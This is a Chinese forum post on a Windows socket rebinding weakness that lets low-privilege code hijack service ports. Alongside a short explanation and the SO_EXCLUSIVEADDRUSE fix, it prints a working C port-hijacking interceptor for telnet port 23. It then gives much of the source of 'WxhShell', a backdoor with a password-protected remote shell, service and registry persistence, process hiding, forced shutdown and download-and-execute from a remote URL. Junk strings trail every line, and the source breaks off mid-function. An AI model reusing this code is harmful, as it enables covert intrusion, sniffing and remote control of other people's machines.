社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11271阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7L1\1E:!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .HQVj'g  
v]l&dgoT  
  saddr.sin_family = AF_INET; \l>q Y(gu  
G[y&`Qc)G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]<Z&=0i#9  
-aC!0O y`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *1R##9\jU7  
~>.awu+o|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 neK*jdaP  
,o4r,.3[s  
  这意味着什么?意味着可以进行如下的攻击: S$Qr@5  
 \\y}DNh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SIj6.RK  
iZsau2K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {6-;P#Q0_  
?G2qlna  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0c%@e2(N  
f2BS[$oV4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2Zv,K-G  
Mr#oT?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ScM} m  
O_qu;Dx!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sj#{TTW  
*7)S%r,?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .LWOM8)  
rE!G,^_{  
  #include Y'3k E  
  #include D!81(}p  
  #include v$qpcu#o  
  #include    bM*Pcxv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AM1/\R  
  int main() }G"r3*  
  { Q>cL?ie  
  WORD wVersionRequested; #nxER   
  DWORD ret; U` ? zC~  
  WSADATA wsaData; o'9OPoof:.  
  BOOL val; m$j n5:  
  SOCKADDR_IN saddr; rTN"SQt  
  SOCKADDR_IN scaddr; B:.;,@r]  
  int err; ]C9%]`  
  SOCKET s; <K|3Q'(S  
  SOCKET sc; ex0 kb  
  int caddsize; oHYD_8'f  
  HANDLE mt; CnM+HN30o  
  DWORD tid;   n0Qh9*h  
  wVersionRequested = MAKEWORD( 2, 2 ); # |[`1  
  err = WSAStartup( wVersionRequested, &wsaData ); U[K0{PbY  
  if ( err != 0 ) { 'iMHAP;N  
  printf("error!WSAStartup failed!\n"); p,M3#^ q  
  return -1; vE^h}~5U  
  } +&&MUT{ 3  
  saddr.sin_family = AF_INET; ~YR <SV\{  
   >w%d'e$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ph}wnIW]  
SSSDl$}'t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M6@'9E]|>  
  saddr.sin_port = htons(23); ~(Ih~/5\^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yVu^ >  
  { PV5TG39qQ  
  printf("error!socket failed!\n"); 3fbD"gL  
  return -1; 3n}s CEt=  
  } *DPTkMQN  
  val = TRUE; zLJ:U`uh\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I@y2HxM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R#[QoyJ  
  { ?15POY ?Z  
  printf("error!setsockopt failed!\n"); "jkw8UVz  
  return -1; QZ:]8MHl]  
  } < -@,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; . }-@;:yh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M]%!n3Fb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PVQ#>_~5  
|j.KFu845  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e+d6R[`M  
  { dQWA"6 ?i  
  ret=GetLastError(); %^Q@*+{:f  
  printf("error!bind failed!\n"); ;XKo44%  
  return -1; pqGf@24c<  
  } c_D,MW\IC  
  listen(s,2); oHc-0$eMKY  
  while(1) ,=q7}5o Y  
  { 5 b#" G"  
  caddsize = sizeof(scaddr); a!hI${Xn  
  //接受连接请求 =/!{<^0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  \\E_W9.u  
  if(sc!=INVALID_SOCKET) 8CN7+V  
  { V29S*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +Y.uZJ6+  
  if(mt==NULL) J*^,l`C/  
  { 4N%2w(,+8  
  printf("Thread Creat Failed!\n"); Z!s>AgH9u  
  break; goBKr: &]w  
  } rH#c:BwSm  
  } Wf+Cc?/4  
  CloseHandle(mt); >M8^ Jgh  
  } 'JW_]z1  
  closesocket(s); /64^5DjTh  
  WSACleanup(); toYg$IV  
  return 0; R4Gg|Bh  
  }   #h #mOJ5  
  DWORD WINAPI ClientThread(LPVOID lpParam) #1,>Qnl  
  { dwf #~7h_  
  SOCKET ss = (SOCKET)lpParam; l9ch  
  SOCKET sc; % 0y3/W  
  unsigned char buf[4096]; 0Tn|Q9R  
  SOCKADDR_IN saddr; c9cphZ(z  
  long num; 5,=B1  
  DWORD val; TGt1d  
  DWORD ret; #:Sy`G6!?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -G^t-I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L(!!7B_,  
  saddr.sin_family = AF_INET; tc49Ty9$[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j4 &  
  saddr.sin_port = htons(23); c}I8!*\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wj f>:\ w  
  { 4Q`=t &u  
  printf("error!socket failed!\n"); V.P5v {  
  return -1; R>YMGUH~w  
  } f@xfb ie !  
  val = 100; JK^B+.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y/eN)  
  { )2<B$p  
  ret = GetLastError(); ]%Q]C 8[C  
  return -1; 71n uTE%!  
  } i"\AyKiJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P/1UCITq}  
  { |<+|Du1  
  ret = GetLastError(); -XDP-Trk  
  return -1; \aJ-q?=  
  } bTy' 5"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3Mh,NQB  
  { T0]%(F/8  
  printf("error!socket connect failed!\n"); D=I5[t0c4  
  closesocket(sc); ;]#4p8lh+  
  closesocket(ss); ;o)`9<es!2  
  return -1; }T1Xds8w)t  
  } z7us*8X{  
  while(1) nm:let7GB  
  { %]:vT&M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^?S@v1~7d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }9+1<mT9a/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E 4$h%5  
  num = recv(ss,buf,4096,0); 5 1CU@1Ie  
  if(num>0) WNlSve)]ie  
  send(sc,buf,num,0); HTtGpTsF  
  else if(num==0) v BeU  
  break; Xw}Y!;<IEu  
  num = recv(sc,buf,4096,0); OS h mrz28  
  if(num>0) C4SD  
  send(ss,buf,num,0); as\K(c9  
  else if(num==0) J ]l@ r  
  break; 52C-D+zCJ  
  }  ~bWWu`h  
  closesocket(ss); Z$m2rZ#  
  closesocket(sc); JjTzq2'%  
  return 0 ; DRg ~HT  
  } X#NeB>~  
}AH|~3|D  
)]>Y*<s }  
========================================================== __zu- !v  
Sy0s `\[  
下边附上一个代码,,WXhSHELL +Tc(z{;  
<"|<)BGeI  
========================================================== 3=L1HZH  
F>_lp,G   
#include "stdafx.h" mX_Uhpw?t  
~9/nx|%D  
#include <stdio.h> H1b%:KRVK  
#include <string.h> g2b4 ia!L  
#include <windows.h> Vx4pP$S  
#include <winsock2.h> 0&L0j$&h  
#include <winsvc.h> ~\s &]L  
#include <urlmon.h> .2SIU4[P  
fjZveH0  
#pragma comment (lib, "Ws2_32.lib") zvs 2j"lb  
#pragma comment (lib, "urlmon.lib") qx<zX\qI6n  
N+@@EOmH  
#define MAX_USER   100 // 最大客户端连接数 nF[eb{GR`  
#define BUF_SOCK   200 // sock buffer  E_I6  
#define KEY_BUFF   255 // 输入 buffer c$SxDYG  
~x^+OXf!^g  
#define REBOOT     0   // 重启 Fe2 -;o  
#define SHUTDOWN   1   // 关机 d?qO`- ~$  
r-"`Abev  
#define DEF_PORT   5000 // 监听端口 )Jjw}}$}Y  
(pxz#B4  
#define REG_LEN     16   // 注册表键长度 Ywb)h^{!  
#define SVC_LEN     80   // NT服务名长度 {ZYCnS&?CL  
Ex&RR< 5  
// 从dll定义API (i~%4w=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9NoPrR=x1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eMd1%/[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2iINQK$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b({b5z.A  
McI4oD~"  
// wxhshell配置信息 ['YRY B  
struct WSCFG { OZ]3OL,  
  int ws_port;         // 监听端口 J-{E`ibGN  
  char ws_passstr[REG_LEN]; // 口令 Uz8C!L ">C  
  int ws_autoins;       // 安装标记, 1=yes 0=no WaK{/6?T,  
  char ws_regname[REG_LEN]; // 注册表键名 .BTT*vL-  
  char ws_svcname[REG_LEN]; // 服务名 F"0jr7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DppvUiQB!a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `2~Ea_Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X OtS+p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xF>w r r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w`Aw+[24  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w8@|b}  
tZ2iSc  
}; 30v1VLR_)  
3~09)0"!d  
// default Wxhshell configuration lxJ.h&"P  
struct WSCFG wscfg={DEF_PORT, C xN@g'  
    "xuhuanlingzhe", }pZnWK+  
    1, (I 0t*Se  
    "Wxhshell", 2F(\}%UT~  
    "Wxhshell", +|w~j#j9`  
            "WxhShell Service", mZ&Mj.0+~  
    "Wrsky Windows CmdShell Service", 1{glRY'  
    "Please Input Your Password: ", e ^& 8x  
  1, lMf5F8  
  "http://www.wrsky.com/wxhshell.exe", , &f20o  
  "Wxhshell.exe" s-DL=MD  
    }; vK>^#b3  
] :#IZ0#  
// 消息定义模块 Mj;'vm7#'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G7{:d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?S7:KnU>K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <NsT[r~C  
char *msg_ws_ext="\n\rExit."; Nfvg[c  
char *msg_ws_end="\n\rQuit."; 6$;)CO!h  
char *msg_ws_boot="\n\rReboot..."; KD*4n'm!>  
char *msg_ws_poff="\n\rShutdown..."; r?>Hg+  
char *msg_ws_down="\n\rSave to "; {v'Fg  
/[T8/7;_l  
char *msg_ws_err="\n\rErr!"; TBp5xz`  
char *msg_ws_ok="\n\rOK!"; Hx0,kOh)  
%),O9*[9  
char ExeFile[MAX_PATH]; 7Zn Q] ?  
int nUser = 0; kpUU'7Q  
HANDLE handles[MAX_USER]; a2FIFWvW  
int OsIsNt; 3"%44'  
WU@,1.F:  
SERVICE_STATUS       serviceStatus; PiQs><FK8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nr+1N83S}  
^aoLry&i=  
// 函数声明 6Ky"4\e  
int Install(void); VqU:`?#"a  
int Uninstall(void); fJV VW  
int DownloadFile(char *sURL, SOCKET wsh); u^[v{hv'H  
int Boot(int flag); iKKWn*u  
void HideProc(void); / /rWc,c  
int GetOsVer(void); 8TvPCZ$x  
int Wxhshell(SOCKET wsl); ~PAn _]Z  
void TalkWithClient(void *cs); MUl+Oy>  
int CmdShell(SOCKET sock); b=l}|)a  
int StartFromService(void); ]TOY_K8"z#  
int StartWxhshell(LPSTR lpCmdLine); VX%\_@  
jX,~iZ_B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fs12<~+z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A1;t60z+q>  
oOz6Er[KO  
// 数据结构和表定义 =Z$6+^L  
SERVICE_TABLE_ENTRY DispatchTable[] = 5q >u }J  
{ zvj >KF|y  
{wscfg.ws_svcname, NTServiceMain}, U.x.gZRo[  
{NULL, NULL} V(0[QA  
}; s3^SjZb  
)Ggx  
// 自我安装 gf>5xf{M  
int Install(void) ;zG|llX  
{ o(qmI/h  
  char svExeFile[MAX_PATH]; "j>0A Hem  
  HKEY key; sl 5wX  
  strcpy(svExeFile,ExeFile); +w5?{J  
2>s;xZ@/'R  
// 如果是win9x系统,修改注册表设为自启动 }@4*0_g"Aw  
if(!OsIsNt) { ?[">%^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4 XQ?By  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vX%gcs/@  
  RegCloseKey(key); ZQ/5]]}3y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eL!6}y}W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7 #N @B  
  RegCloseKey(key); c6|&?}F  
  return 0; jL1UPN  
    } \O~P !`  
  } B~rK3BS  
} WG n1pW  
else { ~Sq >c3Wn  
@gz?T;EC  
// 如果是NT以上系统,安装为系统服务 4|thDb)]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v0sX'>f  
if (schSCManager!=0) "{lnSLk  
{ jL$X3QS:  
  SC_HANDLE schService = CreateService * PPFk.#x  
  ( 1[ Pbsb  
  schSCManager, Q1yTDJ(2  
  wscfg.ws_svcname, ]CYe=m1<2Q  
  wscfg.ws_svcdisp, Y._AzJ&B[  
  SERVICE_ALL_ACCESS, Rz]bCiD3 B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -9EbU7>!  
  SERVICE_AUTO_START, m|[ Hhw=f  
  SERVICE_ERROR_NORMAL, UHWun I S  
  svExeFile, d8po`J#nb  
  NULL, ZW"J]"A  
  NULL, NKws;/u  
  NULL, ImVe 71mh  
  NULL, G y2XjO8b  
  NULL |99eDgK,  
  );  O(!'V~3  
  if (schService!=0) ovp>"VuC  
  { ^ z;pP  
  CloseServiceHandle(schService); =Ju}{ bX  
  CloseServiceHandle(schSCManager); "mA/:8`Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _QY "#  
  strcat(svExeFile,wscfg.ws_svcname); l ki(_ @3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8:MYeE5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q@R8qc=*  
  RegCloseKey(key); "+AD+D  
  return 0; J2rH<Fd[up  
    } !Fi)-o  
  } {Bx\Z0+'&  
  CloseServiceHandle(schSCManager); hSmM OS{  
} A6VkVJZx  
} >e%Po,Fg$  
<V{BRRx  
return 1; Aj_}B.  
} aUV>O`|_  
\JchcQ  
// 自我卸载 S{ !hpq~o  
int Uninstall(void) (TPD!=  
{ R.@GLx_zpQ  
  HKEY key; w&H7S{  
,ic}   
if(!OsIsNt) { .1;?#t]ZV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )I@iW\`7  
  RegDeleteValue(key,wscfg.ws_regname); 0Sk{P>A  
  RegCloseKey(key); Sl1N V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lfor 0-j  
  RegDeleteValue(key,wscfg.ws_regname); 4|qp&%9-  
  RegCloseKey(key); 23PSv8;EM  
  return 0; {#MViBhd%  
  } |Cm}%sgR\0  
} (@zn[ Nq  
} %{Gqhb=u\  
else { 5"+* c@L  
i~4Kek6,I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S1."2AxO  
if (schSCManager!=0) s*;~CH-[  
{ @47TDCr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HhO$`YZ%>  
  if (schService!=0) x =k$^V~  
  { Dqki}k~{  
  if(DeleteService(schService)!=0) { QnqX/vnR  
  CloseServiceHandle(schService); ,=FYf|Z  
  CloseServiceHandle(schSCManager); %2.T1X%!  
  return 0; H={,zZ11{  
  } r?$\`,;  
  CloseServiceHandle(schService); &nq[Vy0kO4  
  } +x1sV*S  
  CloseServiceHandle(schSCManager); kDrGl{U}  
} <mxUgU  
} LxbVRw  
F]&9Lp} "  
return 1; G} p~VLf  
} C/XOI >  
pT <H&  
// 从指定url下载文件 <NUZPX29  
int DownloadFile(char *sURL, SOCKET wsh)  /Wa+mp  
{ V:lDR20*\  
  HRESULT hr; 2:]Sy4K{  
char seps[]= "/"; 0o#lB^e;l  
char *token; 5v]xk?Eb  
char *file; 6 -oQs?  
char myURL[MAX_PATH]; ` H"5nQRV  
char myFILE[MAX_PATH]; NQb?&.C   
8/=2N  
strcpy(myURL,sURL); eK`tFs,u  
  token=strtok(myURL,seps); g$+3IVq&  
  while(token!=NULL) lm+wjhkN  
  { .p&M@h w  
    file=token; /w|YNDA]j  
  token=strtok(NULL,seps); yfU1;MI  
  } |1neCP@ng  
E^  rN)  
GetCurrentDirectory(MAX_PATH,myFILE); z w0p}  
strcat(myFILE, "\\"); ka(xU#;  
strcat(myFILE, file); 3cnsJV]  
  send(wsh,myFILE,strlen(myFILE),0); Xd4~N:  
send(wsh,"...",3,0); D=8=wT2 <  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @8 pRIS"V  
  if(hr==S_OK) N7NK1<vw2  
return 0; zd}"8  
else (Lc%G~{  
return 1; i}Y:o}  
u`ZnxD>  
} =Vi+wH{xM  
, vR4x:W  
// 系统电源模块 }\9qN!ol  
int Boot(int flag) Q5Wb)  
{ {5,CW  
  HANDLE hToken; 5EU3BVu&u  
  TOKEN_PRIVILEGES tkp; B%,0zb+-L  
Aoj X)_"z  
  if(OsIsNt) { 4|~o<t8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A;% fAI2Vr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'RPe5 vB  
    tkp.PrivilegeCount = 1; my Po&"_ x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uQ{M<%K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J^u{7K,  
if(flag==REBOOT) { H.YntFtD'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #e=[W))  
  return 0; p}h)WjC  
} 9Gy1T3y5"  
else { 7,:QFV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a^,Xm(Wb}  
  return 0; gG#M-2P  
} I!{5*~ 3  
  } f\ Qi()  
  else { Er{yQIi0L  
if(flag==REBOOT) { \KTX{qI"f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oR5'g7?  
  return 0; FN G]  
} # TvY*D,  
else { 0Rj_l:d=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d !>PqPo  
  return 0; lLnD%*03  
} i`X/d=  
} 1Ztoj}!I  
WzF/wzR  
return 1; iZ&CE5+  
} %kF6y_h`  
+"Ka #Z  
// win9x进程隐藏模块 d}Q;CF3 m:  
void HideProc(void) i7iL[+f]Q  
{ t)5bHVx  
gx3arVa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <_h  
  if ( hKernel != NULL ) "zv?qS  
  { hivWQ$6%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X'O3)Yg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _/hWzj=q  
    FreeLibrary(hKernel); W<\KRF$S;  
  } Fvg>>HVu  
,XR1N$LN8_  
return; 3~Ah8,  
} [V =O$X_  
K1jE_]@Z  
// 获取操作系统版本 L,BuzU[1S  
int GetOsVer(void) &S/KR$^ %  
{ wD4Kil=v  
  OSVERSIONINFO winfo; L\o-zNY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iXI > >9  
  GetVersionEx(&winfo); a:C ly9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G8j$&1`:  
  return 1; t}+P|$[  
  else ?3[as<GZ8  
  return 0; H}`}qu #~V  
} jruwdm^  
Rkgpa/te"  
// 客户端句柄模块 FK<1SOE  
int Wxhshell(SOCKET wsl) r"c<15g2'  
{ =5J}CPKbZI  
  SOCKET wsh; EP,lT.u3  
  struct sockaddr_in client; R e-4y5f  
  DWORD myID; OLTgBXh  
'V/+v#V+>  
  while(nUser<MAX_USER) xO{yr[x"L  
{ Y$ ZZ0m  
  int nSize=sizeof(client); mSr(PIH{\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (/JiOg^cw  
  if(wsh==INVALID_SOCKET) return 1; uS;N&6;:  
M $ CnaH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F@UbUm2o  
if(handles[nUser]==0) jhg0H2C8  
  closesocket(wsh); wX[g\,?}'  
else IBZ_xU\2  
  nUser++; ,:;ZzHzR0  
  } ?`8jn$W^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8(]*J8/wt  
E0G"B' x  
  return 0; 0.!_k )tu  
} "dQ02y  
&]tZ6  
// 关闭 socket 0w)Gb}o$  
void CloseIt(SOCKET wsh) ' >4 H#tu  
{ "2# #Fcu=  
closesocket(wsh);  Jpm=V*P  
nUser--; Mh3Tfp  
ExitThread(0); sN"<baZ  
} QY|Rz(;m  
hT go  
// 客户端请求句柄 3RJsH :u8  
void TalkWithClient(void *cs) vq/3a  
{ (l}W\iB' d  
/fv;`?~d*  
  SOCKET wsh=(SOCKET)cs; #TS:| =  
  char pwd[SVC_LEN]; ,v,#f .  
  char cmd[KEY_BUFF]; Qh3BI?GZ'3  
char chr[1]; ZOw%Fw4B  
int i,j; u0p[ltJ,  
Ce_k&[AJF  
  while (nUser < MAX_USER) { _Oc5g5_{  
KDxqz$14 -  
if(wscfg.ws_passstr) { ?h\fwF3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t\S=u y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xl>8B/Zmf#  
  //ZeroMemory(pwd,KEY_BUFF); 9?]69O  
      i=0; Y].,}}9k  
  while(i<SVC_LEN) { 8}C_/qeM  
, Ox$W  
  // 设置超时 7 x#QkImQ  
  fd_set FdRead; []OmztB  
  struct timeval TimeOut; gxPu/VD4  
  FD_ZERO(&FdRead); %[B^b)2  
  FD_SET(wsh,&FdRead); /xq^]0xy  
  TimeOut.tv_sec=8; #|8Ia:=s  
  TimeOut.tv_usec=0; >UNx<=ry  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z* k(` '  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h>k[  
< #FxI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cg_9V4h.C  
  pwd=chr[0]; u'`eCrKT*  
  if(chr[0]==0xd || chr[0]==0xa) { ;|U !\Xp  
  pwd=0; !:baG]Y  
  break; *{DpNV8"  
  } _TntZv.?  
  i++; #;D@`.#\  
    } '2XIeR  
sD#*W<  
  // 如果是非法用户,关闭 socket m)Ta5w^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ghU~H4[xD  
} y7^E`LKK  
{f"oqry_g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i+90##4<?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Z2a~1BL  
7w\L<vFm  
while(1) { };Pdn7;1G:  
{^":^N)  
  ZeroMemory(cmd,KEY_BUFF); {'cm;V+  
fj|X`,TiZ;  
      // 自动支持客户端 telnet标准   tJ$gH;  
  j=0; T {:8,CiW  
  while(j<KEY_BUFF) { U'@#n2p:k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +N}yqgE  
  cmd[j]=chr[0]; ;"B@QPX  
  if(chr[0]==0xa || chr[0]==0xd) { Uz =OTM  
  cmd[j]=0; \r1nMw3&  
  break; LIE5of  
  } d0V*[{  
  j++; w~4T.l#1  
    } \&/V p`  
X6<Ds'I  
  // 下载文件 l#IN)">1  
  if(strstr(cmd,"http://")) { YJGP8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); otA'+4\  
  if(DownloadFile(cmd,wsh)) G4rd<V0[D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^u(-v/D9  
  else 9+#BU$*v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 R,SA:L$  
  } mor[AJ  
  else { p(>D5uN_}5  
s}qtM.^W  
    switch(cmd[0]) { p~WX\;   
  "^Vnnb:Z*o  
  // 帮助 ~jJF&*)  
  case '?': { / %1-tGh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zJ)`snN|  
    break; t|P+^SL  
  } 6L"b O'_5K  
  // 安装 !&},h=  
  case 'i': { ;;S9kNp^v  
    if(Install()) f cnv[B..{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jr(|-!RVMN  
    else KwNOB _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0SR[)ma  
    break; & LhQr-g  
    } %mAwK<MY`  
  // 卸载 bgeJVI  
  case 'r': { MFn\[J`Ra  
    if(Uninstall()) qnFg7X>C,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c+{ ar^)*  
    else W2 {4s 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .On3ZN  
    break; h<G7ocu!  
    } C<#_1@^:8e  
  // 显示 wxhshell 所在路径 +w?-#M#  
  case 'p': { !t[;~`d9  
    char svExeFile[MAX_PATH]; QtA@p  
    strcpy(svExeFile,"\n\r"); MxOIe|=&  
      strcat(svExeFile,ExeFile); &z05h<]  
        send(wsh,svExeFile,strlen(svExeFile),0); N :OLN[  
    break;  Q!5W x  
    } Z.`0  
  // 重启 97dF  
  case 'b': { =)}Yw)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5/R ~<z  
